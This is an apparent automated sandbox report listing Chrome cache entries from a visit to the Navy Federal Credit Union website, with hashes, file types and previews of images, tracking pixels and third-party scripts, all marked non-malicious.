URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html?
Preview:	<html></html>

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	19940
Entropy (8bit):	7.976137820737786
Encrypted:	false
SSDEEP:	384:U+o2YbW9P7BJfz/mvMI6R0kVLs8NYbjZoAkxQ0VCiStUlH+T7XMi:U+DQWBzfTqHlkdQbj6A30p2Uq7XZ
MD5:	823D07FA40A109620A2751CA10FAFFF1
SHA1:	4B9E4209A974E178BB4B08B8AE6D78121B9B40B4
SHA-256:	28BD52FBABAE288289EE1EBFEAF6019867A8F67CAD1477591AFD0E7E0CBC5DA1
SHA-512:	9E933B936A76EEAD06E295B70F4E0FC14A2C534C7528D665738B4D1A3F74C1EAC90F4326A11F50D04304FA3F3C27562A1D744E76858680D173FA64408A867ED7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE................................................................................................................................................t{{...._chSWW......8<<FHI'f..C\|.Y.. !$...5q...n..\|....aY..L.IDATx....v.F... 13333.....'...1.VU7.`..]{g...5"......`.+.y.[U.........3.L......Z.].......F....v...e-..;..v.P.~."..~F=/FO...U.'^.W.?Z$'@.^.p..V.o..]z..w4...U....)l..z2.=.lFQ.OH...'..-.....;;..r.....M.c..tY.]...p.l.v..B.F.....C.&.....X...k.G.F./{...yU..e..M..X.&.....2..O.H....M.\|...\..c.dmu,..f.\|I......Y.@.Q@d8........a......e.?.O....K..S.5..j.....4....s.L...GG..]l.8U......e...Pyr......;.b{=.$X!...n...x..!0.{4..(...?_.. ..=U.XT.....U......,zt...s.GS..{^..`............6.4..../........a.K\B.m............0{:....@..l+.k._Kr.i...+.kZ....v.h....]..Q..Uw...l.....>Uz..,g.:.oA.=L.u.......fy\|..t...u....OL.Hm...8...[..1...I.x.F..G.I...F...g..y..

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	224
Entropy (8bit):	5.039577775797662
Encrypted:	false
SSDEEP:	6:nXNPP1Q6CaaiviMRiDCINrRJMTOhSNpDFqKk1GUsVn:dPP1Q6/aiqQimwfhSNpAKaG3Vn
MD5:	032025C3D1688F735CB55F30C190070D
SHA1:	E3D5750FEACF4C0D1E42872F54206A76491FB33A
SHA-256:	118DEB6ECD9D09105F5F5142C21850175C757B3A70D3E18E3CE1316DD48DCD57
SHA-512:	284E53443ED44FB8BD5AA0D05141B953ECFC1F4A7221C11E6E64F05280AFD99DDBA1B695AD432FE123042840E2BB467631D8E7446C0E6469BD5DC6266E3E60C4
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSSAmeHLB-kgkKihIFDfnAOBASBQ3mUU1jEgUNATKHpBIFDQ9nOG8SBQ1bwODyEgUNb5Ey9hIFDW-JKSYSBQ08YMYWEgUN_AbHUhIJCZ43V-BoRWUMEkgJgq-Towy6FsoSBQ35wDgQEgUN5lFNYxIFDQEyh6QSBQ0PZzhvEgUNW8Dg8hIFDW-RMvYSBQ1viSkmEgUNPGDGFhIFDfwGx1I=?alt=proto
Preview:	ClEKBw35wDgQGgAKBw3mUU1jGgAKBw0BMoekGgAKBw0PZzhvGgAKBw1bwODyGgAKBw1vkTL2GgAKBw1viSkmGgAKBw08YMYWGgAKBw38BsdSGgAKAApRCgcN+cA4EBoACgcN5lFNYxoACgcNATKHpBoACgcND2c4bxoACgcNW8Dg8hoACgcNb5Ey9hoACgcNb4kpJhoACgcNPGDGFhoACgcN/AbHUhoA

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1989)
Category:	downloaded
Size (bytes):	95679
Entropy (8bit):	5.480199882869286
Encrypted:	false
SSDEEP:	1536:lkXbu+UfMjHnKCwpI+viC0l2pTKpjOdeXRVW8cwt5yWoumE+dI1cci9YEXKOHJR4:6XbxUfMjHnKCwpI+viC0ZpjOdeXRVW81
MD5:	302C1D3442814C5082AE0132812295FE
SHA1:	E8EC0AC5E04AE1CD3F7C6AEC6FC2029A44471418
SHA-256:	2DC8B0D60A3B124BA0DF1B077D13FA8B67CF26FAD374F0143BA6BA36E69D4283
SHA-512:	01983C8F36F8E453D24769D1B3238D147AE8A60BEEA12DA5280C9A06A147A4181BCB7139414803E48D409DE928D619D930457090E492E48AFD9C72A9FBDF3E5A
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/controls.js
Preview:	google.maps.__gjsload__('controls', function(_){var Nza,YM,ZM,Oza,Pza,bN,Rza,Sza,Tza,Uza,cN,Wza,dN,eN,fN,Xza,gN,Zza,Yza,$za,hN,aAa,eAa,cAa,dAa,jN,gAa,hAa,iAa,jAa,kAa,lAa,fAa,mN,nAa,mAa,nN,oN,pAa,oAa,qAa,rAa,sAa,vAa,pN,uAa,tAa,wAa,qN,xAa,sN,tN,zAa,AAa,BAa,uN,vN,wN,CAa,DAa,xN,EAa,yN,HAa,FAa,IAa,zN,LAa,KAa,MAa,NAa,PAa,OAa,QAa,RAa,VAa,UAa,WAa,CN,XAa,YAa,ZAa,DN,$Aa,aBa,bBa,cBa,dBa,eBa,EN,fBa,gBa,hBa,iBa,jBa,lBa,FN,nBa,pBa,GN,qBa,rBa,sBa,tBa,vBa,wBa,uBa,xBa,yBa,BBa,CBa,zBa,HBa,FBa,GBa,EBa,HN,IBa,JBa,KBa,LBa,OBa,QBa,SBa,UBa,WBa,XBa,ZBa,aCa,cCa,eCa,tCa,.zCa,dCa,iCa,hCa,gCa,jCa,KN,kCa,ACa,IN,LN,rCa,NBa,fCa,uCa,mCa,oCa,pCa,qCa,sCa,JN,nCa,HCa,LCa,MCa,MN,NCa,OCa,NN,PCa,SCa,TCa,Vza;Nza=function(a,b,c){_.Lt(a,b,"animate",c)};YM=function(a){a.style.textAlign=_.lC.uj()?"right":"left"};ZM=function(a){return a?"none"!==a.style.display:!1};Oza=function(a,b,c){var d=a.length;const e="string"===typeof a?a.split(""):a;for(--d;0<=d;--d)d in e&&b.call(c,e[d],d,a)};Pza=function(a){return String(a).replace(/\-(

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?
Preview:	<html></html>

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	12282
Entropy (8bit):	7.97288613506881
Encrypted:	false
SSDEEP:	192:+WP+E3o3vuvLe+4KpVsmUv35VNYja2Iywymdjb5Jl4m5xr73HFdsmhDUs3Q:13qvGD4Ww35VvqeprBvsmhDrQ
MD5:	2D63794C9D6C8A74294ACBC03EFD20C3
SHA1:	44EF037454649543B3D619D4F43A6FD538575268
SHA-256:	6F2F072DDBE6C1EB2E05F70538FB45110AD0CD4BFC6D701DAF0A00D7877E90DA
SHA-512:	33D4BDC9792F4033C2814D43720052E8FD952E4B74F7D66ED09EB0288B165450E45A69B880082A00A7487E43BEAE23F0E21701F73087CD2CFE7D6F84F8A638F1
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyImages-474104309?qlt=80&wid=320&ts=1711252930165&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma...................mdat.....!......h@2.].p.E.Q@.I..q...D..IVhr.../.i...w;75......y...[.#.HV.I......$.".....V....E....M'.Hu.....9[..P...I.]..$..a......k.b..s.....j`......yN.Q.?. .lwc..^.y..o.~...t{.'......N.Q.....W.j..\|-...e...A..WG.p$Jm....%...r{...\|.9~..}9...#f.o!c..&...f{Hn..,....6...r&`^....S+!..V.>...jG6...j..AQlO$..-.O...1...Ov.....W...Q..:....a.P.=......lSF,.Te.........9.w....K...I......:....F.;..h~.....*.Rp..[.p..q..M.^..T.%...&.'@`@..<..w4......N.O..G.%...vL....7...6(!q.....w...`@.U.7..........s.Y.VQ'.....%.@,G\|.w.LI...m."..+..b.......S.......sL.{...o...\.\|..}he...3....~..8.M.s.!...Z!.....g..].`.<X?.Ko..>.]^VJ.U.?<o.J.\|...82+..a...:Q.O.h..b.s..ZL...5...E.J.p...."...o...;P..7.......2M=

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=addthis
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60150)
Category:	downloaded
Size (bytes):	105110
Entropy (8bit):	5.426755646086038
Encrypted:	false
SSDEEP:	1536:4352Q+J9sLaK1v011YR9QAFwAEeD1x5mwllKCf4DEvg:6aa00FvADEvg
MD5:	08E770C8A17BF087D50CEC01AF0892C2
SHA1:	15F6BD70687EEFF26CD6E72F647B80894B855E7F
SHA-256:	61D8137D275F12306E177BC726C2B3E072F9EFA4743A0ACE6ECBCF7A0932FD07
SHA-512:	5A3AE3B8CFE909C92AB475384257DD48F06E990638927BD110BC9ABC9CE98357EC75085443F340843688AEFC3D8488130587F03DE2795EC9663F8715B505990B
Malicious:	false
Reputation:	low
URL:	https://c.tvpixel.com/js/current/dpm_pixel_min.js?aid=navy-federal-credit-union-ab4e3950-2e70-405c-b377-dcb1b8bfbe47
Preview:	/*. DPM TVPixel for JS-based tracking. * @version 1.2.9. * @copyright Copyright (c) Data Plus Math Corporation. */..(function() {. function getParams(e){for(var o=document.getElementsByTagName("script"),r=o.length-1;r>-1;r--)if(o[r].src&&o[r].src.indexOf("/"+e)>-1){for(var n=o[r].src.split("?").pop().split("&"),t={},a=0;a<n.length;a++){var c=n[a].split("="),i=c[0],s=c[1];try{s=decodeURIComponent(s)}catch(e){}t[i]=s}return t}return{}}var params=getParams("dpm_pixel"),collector="p.tvpixel.com",aid="dataplusmath",enableActivityTracking=!1,enableLinkTracking=!1,discoverRootDomain=!0,sendNoEvent=!1,initialDwell=10,heartbeat=10,DPMSendConv=!1,convAction="convActionNotSet",customUserId=null,dpmDebug=!1,comscore=!1,cookieLifetime=31536e3;if(params.hasOwnProperty("debug")&&(dpmDebug="true"==params.debug,window.dpmDebug=dpmDebug),params.hasOwnProperty("aid")&&(aid=params.aid),params.hasOwnProperty("collector")&&(collector=params.collector),params.hasOwnProperty("uid")&&(customUserId=params

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html?
Preview:	<html></html>

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10120), with no line terminators
Category:	downloaded
Size (bytes):	10120
Entropy (8bit):	5.359936653502379
Encrypted:	false
SSDEEP:	192:MLTVN4eglsWbz6lybr3I1xtcWUzYR2xuvWE+PKDB3b:MMOtcWUzYR2xuvW16B3b
MD5:	52F2898ACFE993C05164D0A0374FB48F
SHA1:	0AF62EA31435315647D11C23469BD90DE2B17D3C
SHA-256:	D697E6FF14726DD95C58CC9CEAC481AEB3E05F081A32DF0CB0E2D38BAD4E46EE
SHA-512:	CC7F3BAC752D9CC989809C3A20F842005FCB12AE74AB29AD6CACBDCA6D91D3ECEA2A82118AD0585952A6B77059A457EF0B2736C51CCA74DA9C1E77D52C567E3F
Malicious:	false
Reputation:	low
URL:	https://bttrack.com/engagement/js?goalId=15654&cb=1716590777960
Preview:	(function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"."+("00"+ms%1e3).slice(-3)+"Z":null},String:String.prototype.valueOf,Number:Number.prototype.valueOf,Boolean:Boolean.prototype.valueOf};var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];r

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65188)
Category:	downloaded
Size (bytes):	1069343
Entropy (8bit):	5.6773995388388965
Encrypted:	false
SSDEEP:	12288:FItZl5RkDDmMb+KC3P27+pgib9RFPP1UYw/X:SKDDm2X06ib9RFPP1tw/X
MD5:	447FBE24C2942169E00A4EF3116B103B
SHA1:	CE0D7BFF7A0D5FA3D1F9666F735D2272E5A93A76
SHA-256:	1220DC5612C87D2337F3993BCA060C6EE2C21CD9A359BCB8B424A5DF5C86D2EA
SHA-512:	3D9C4408864B1BDA520E58A2391EBD005B423F13FF49822BAE6B57D988383E3BD47084EFAED6D79CF81905AE1C8CBD5CFE8A67F82E5832AE0C4C7D70810B15F8
Malicious:	false
Reputation:	low
URL:	https://liveengage.navyfederal.org/le_unified_window/10.35.1-release_1248342920/desktopEmbedded.js?version=10.35.1-release_1248342920
Preview:	(()=>{"use strict";var e={115:(e,t)=>{function r(e){return btoa(e).replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"")}function n(e,t,n){e(null,{verifier:t,challenge:r(String.fromCharCode.apply(null,new Uint8Array(n)))})}t.Z=function(e,t){e\|\|(e=43);for(var i=window.msCrypto\|\|window.crypto,o=r(Array.prototype.map.call(i.getRandomValues(new Uint8Array(e)),(function(e){return String.fromCharCode(e)})).join("")).substring(0,e),a=new Uint8Array(o.length),c=0;c<o.length;c++)a[c]=o.charCodeAt(c);var u=i.subtle.digest("SHA-256",a);window.CryptoOperation?(u.onerror=t,u.oncomplete=function(e){n(t,o,e.target.result)}):u.then((function(e){n(t,o,e)})).catch(t)}}},t={};function r(n){var i=t[n];if(void 0!==i)return i.exports;var o=t[n]={exports:{}};return e[n](o,o.exports,r),o.exports}(()=>{const e=crypto;var t=function(e){return e instanceof CryptoKey};function n(e,t,r,n,i,o,a){try{var c=e[o](a),u=c.value}catch(e){return void r(e)}c.done?t(u):Promise.resolve(u).then(n,i)}const i=function(){var t

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	12765
Entropy (8bit):	7.9711464966843275
Encrypted:	false
SSDEEP:	192:+Wlv/GvV4u4zXWGecpiMN/rIh/YGC04PkNuHqRxIOLKlnsYMV6QYlKJ/WiZU8M5E:Hov4qy9/a/JdckIHqRxIm4M6K/Nh3aZ6
MD5:	D3ADD0EACB0F505F3DB24F02501BE183
SHA1:	CF3DB6EF5B4F75721B7E79820CB890BA3B487086
SHA-256:	5836AC37EC96AC2B8BECE603D3A65EB348975511BE79A16066312AF0007B7C3C
SHA-512:	937FD0F4FBCAD0F2C928715A00177374E7C0F0AE152BFB3436517A582955F279865793346A5097F90C81E134F10D9552226C7DAD464D91BD5AD10AAE2D451BED
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/s04_soldierdriving_00903_nfcu_0523_1?qlt=80&wid=320&ts=1714681870823&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............0....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................0.mdat.....!......h@2.a.p.E.Q@.I....>....ac9.B.2...+..."a%c.........w[=q.WE...6.#[.[-...8,.. r..v0w}.&u.....0...Ec.j.mRRt.57...3.J..5....:........#{[YBQ..s..d..t.o).`B=+...Ve].o....b....... ..`D.Z.q.+..G....Y.....q......:..9.;.n/......jN).a.....OD.........v+..d...(..s..].'......L.g.......y...&.M2L..B).....V..4B3........N.b....4.$:..q.L..B........LF..H...oN.kL..c}...".P.p..e9/......m.....v.OD....mcG5b.....`\|...7.Y0....d.eS...h\|2.Z..MN..r....!-&....".u.S.....!.......(.1#>..\|..KX......<........%...1.G.R<..=>...LPO..GL...}..6T.Z.H..PM..^.Frs...x...I.7..\|+.U]..L@e......-w..7..61u.......E0L......M.M.1............x..J+.2..lG.J...o.(...(..:...`R.C.....q.r...\.{.f...7....>

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	674
Entropy (8bit):	5.004420809792862
Encrypted:	false
SSDEEP:	12:LdBoz3ZxRm7iBXpw7wS/wUQ90V1Y22/sIpppy3LBr2TaECpcUDLkAZ6V:LdBspm7KpoQ90422CLQTaEeDAAoV
MD5:	EDC0400676C247BEDC8EF0CF5FB291F2
SHA1:	CE97185380746E10EABCD477C37C80E51BA7D1E3
SHA-256:	9E684CB6EF37BA640E1C95AB8F76DFE64293BD1AB5FB87D38FCCA0A125D68A4E
SHA-512:	D945F4D2CF32601025981230A16D6780E02351420472CAC65D1C647D61A252953AD1E5CE19621FDF007626C96D32D4B93C4947292E343EFB9D0840C8E32E1D9A
Malicious:	false
Reputation:	low
Preview:	WEBVTT.X-TIMESTAMP-MAP=LOCAL:00:00:00.000,MPEGTS:0..00:00.000 --> 00:05.549.At Navy Federal we want to make it easy.for you to talk to us at our branch..00:05.549 --> 00:12.570.offices around the world, on the phone.and on social media. Just like you we're..00:12.570 --> 00:20.070.always connected. We'd like to hear from.you, and you, and you, and you, and you. Have..00:20.070 --> 00:25.140.a question about your accounts, our.products and services, where to find your..00:25.140 --> 00:29.849.routing number, or making a mobile.deposit, or you just want to share your..00:29.849 --> 00:30.000.experiences with us? We want to hear them all. Tweet us at @navyfederalhelp..

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	5418
Entropy (8bit):	7.883159708584472
Encrypted:	false
SSDEEP:	96:+zCj7oGHYfk5HD3Gtsk36TszjBFijazc51z3f38iWVTbM55eWUmPnhsjkkoPFrpF:+zC3oG4fKHD3esr4fBmagXrUf5FAnhq+
MD5:	B7DF6E9F7AEA364E55D619D449F934EE
SHA1:	59B6C320A43AD2E7B1D46ED3657839C95B6C5C10
SHA-256:	FF9FE96FA2B8975F8866BE85ED3DD4A21128AFC15765146B68850606A1228133
SHA-512:	DC8F00CB57EDBDDF34EE520CE61C47FF0643E37A7ED9438B3FF960EF6E9087AC4D7575DFD838BBDE13C09A0B2C6735CB131F2382A5FD958C96B404FC5429009A
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/more-rewards-elevated-right-tilt?qlt=80&wid=320&ts=1713986354605&fmt=png-alpha&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D................".............S...Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@........pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma.........................}mdat.....!..l2.....$P..=.U..z/...z./......$...A8.-...`.....\|/:.u......7j....8~...W...$.H.....=..D{..8.^W.D.....3....Vrvp2...}.....S:...;u.\.)...UL`....R.(.....b..l..B.f.......Za.fO.f.4...X+..4....m...._%K.l.Z8gd..4k.+..-<,w...\.2.cq.....5.....(Wm.-..8A..r...9o.#.Za.V#.[...&niiA. ...p.J....y<J...R.q.....A..V.F<HI..-S<...f;?..#.z.....I....2f<.O.K...`.......].OLt._;.....,TU...j...T..Vo5..H>"`.r...>....l.1........e...c.:P..G.......3..L.K.8..N..\a.G1...X...3..7../..O\|....E....,..'N..x..l..T.Z.{..(8.A5OV.tr.......G.9..Yf9?!,'7.......6....

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	95099
Entropy (8bit):	5.315719143394952
Encrypted:	false
SSDEEP:	768:YRFGHHV2EepVvf9Sbk4xpWvfvdYCfxhGH0lj+b98gPa/nPNln+QQNVNO9BPtZPmh:YWnNEDphzWePNl+VSdbSh1t
MD5:	CFA9A47E9EA7BBFA514761CD58CD2BEF
SHA1:	7DC646F9D69AB5E2DE215156C2B6906D6B7E6156
SHA-256:	63EB0C29D0F3425B28D95809A4DE7F5C142718458EA263A47B9516E4FB764C5F
SHA-512:	772C14FBD7B9D62A54D3794F61C751A1B3F1ED189CF334811AADD14E6BE417F036165FF1DBD6192997B8441FB43708622A685C722FF106CF1A107C7A4414C135
Malicious:	false
Reputation:	low
URL:	https://cdn.boomtrain.com/p13n/navy-federal-credit-union/p13n.min.js
Preview:	(function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e['default']}:function(){return e};return t.d(r,'a',r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p='',t(t.s=88)})([function(e){var t=e.exports={version:'2.6.5'};'number'==typeof __e&&(__e=t)},function(e,t,r){var n=r(2),o=r(0),s=r(8),a=r(9),i=r(11),l='prototype',d=function(e,t,r){var u,c,p,f=e&d.F,_=e&d.G,g=e&d.S,h=e&d.P,y=e&d.B,m=e&d.W,v=_?o:o[t]\|\|(o[t]={}),x=v[l],b=_?n:g?n[t]:(n[t]\|\|{})[l];for(u in _&&(r=t),r)c=!f&&b&&void 0!==b[u],c&&i(v,u)\|\|(p=c?b[u]:r[u],v[u]=_&&'function'!=typeof b[u]?r[u]:y&&c?s(p,n):m&&b[u]==p?function(e){var t=function(t,r,n){if(this instanceof e){switch(arguments.length){case 0:return new e;case 1:return new

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2561), with no line terminators
Category:	downloaded
Size (bytes):	2561
Entropy (8bit):	5.783552585265648
Encrypted:	false
SSDEEP:	48:zqB+shXU2+sq3r+shn+shf2+shnSmXnNYXrn4VbkzmYLiS3FGDRXOgCab8pI:2YshXUpsqSsh+shfpshZXnNYXr4VQzmz
MD5:	1CF96BD2C0F4714742550B95B0E15271
SHA1:	55E0FACF611DB2C77D128B8304D8C12D38CCF12D
SHA-256:	746A55939E02A1EAE052C888C420AC59634A8E3546DCB8E9F6FDC106E032FCE1
SHA-512:	AE4BA9C0BB3FF1A676250FD28195E15087636E8B381BFEA8EBE9B6672541D9B9E51AD3A9CF3CB9BB3A97D9984814331EA448346CD332275BD4A787AFF9B4D666
Malicious:	false
Reputation:	low
